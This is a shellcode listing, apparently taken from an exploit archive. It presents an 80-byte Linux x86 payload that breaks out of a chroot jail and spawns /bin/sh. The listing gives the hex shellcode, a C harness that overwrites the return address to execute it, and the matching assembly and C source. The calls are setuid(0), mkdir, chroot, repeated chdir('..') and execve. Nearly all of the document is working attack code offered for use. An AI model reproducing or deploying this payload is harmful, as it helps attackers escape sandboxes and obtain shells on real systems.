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linux/x86 break chroot execve /bin/sh 80 bytes
[==============================================
linux/x86 break chroot execve /bin/sh 80 bytes
==============================================
/* This is Linux chroot()/execve() code.It is 80 bytes long.I have some *
* ideas how to make it smaller, but till then use this one. *
* signed predator *
* linux registered user : 181116 *
* preedator(at)sendmail(dot)ru *
***************************************************************************/
char sc[]="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xeb\x36\x5e\x88\x46\x0a"
"\x8d\x5e\x05\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x83"
"\xc3\x02\xb0\x0c\xcd\x80\xe0\xfa\xb0\x3d\xcd\x80\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x89\xc2\xb0\x0b"
"\xcd\x80\xe8\xc5\xff\xff\xff/bin/sh..";
int main(){
int *ret=(int *)(&ret+2);
printf("len : %d\n",strlen(sc));
*ret=(int)sc;
}
// Asm code
/*********************************************
*int main(){ *
* __asm__(" xorl %eax,%eax \n" *
* " xorl %ebx,%ebx \n" *
* " xorl %ecx,%ecx \n" *
* " movb $0x17,%al \n" *
* " int $0x80 \n" *
* " jmp 0x36 \n" *
* " popl %esi \n" *
* " movb %al,0xa(%esi) \n" *
* " leal 0x5(%esi),%ebx \n" *
* " movb $0xed,%cl \n" *
* " movb $0x27,%al \n" *
* " int $0x80 \n" *
* " xorl %eax,%eax \n" *
* " movb $0x3d,%al \n" *
* " int $0x80 \n" *
* " addl $0x2,%ebx \n" *
* " movb $0xc,%al \n" *
* " int $0x80 \n" *
* " loopne -0x06 \n" *
* " movb $0x3d,%al \n" *
* " int $0x80 \n" *
* " movl %esi,0x8(%esi) \n" *
* " xorl %eax,%eax \n" *
* " movb %al,0x7(%esi) \n" *
* " movl %eax,0xc(%esi) \n" *
* " movl %esi,%ebx \n" *
* " leal 0x8(%esi),%ecx \n" *
* " movl %eax,%edx \n" *
* " movb $0xb,%al \n" *
* " int $0x80 \n" *
* " call -0x3b \n" *
* " .string \"/bin/sh..\" \n"); *
*} *
*********************************************/
//C code
/**********************************************
*int main(){ *
* char *sh[2]={"/bin/sh",NULL}; *
* int gg=0xed *
* mkdir("sh..",gg); *
* chroot("sh.."); *
* while (gg!=0){ *
* chdir("..");gg--; *
* } *
* chroot(".."); *
* execve(sh[0],sh,NULL); *
*} *
***********************************************/
# 0day.today [2024-11-16] #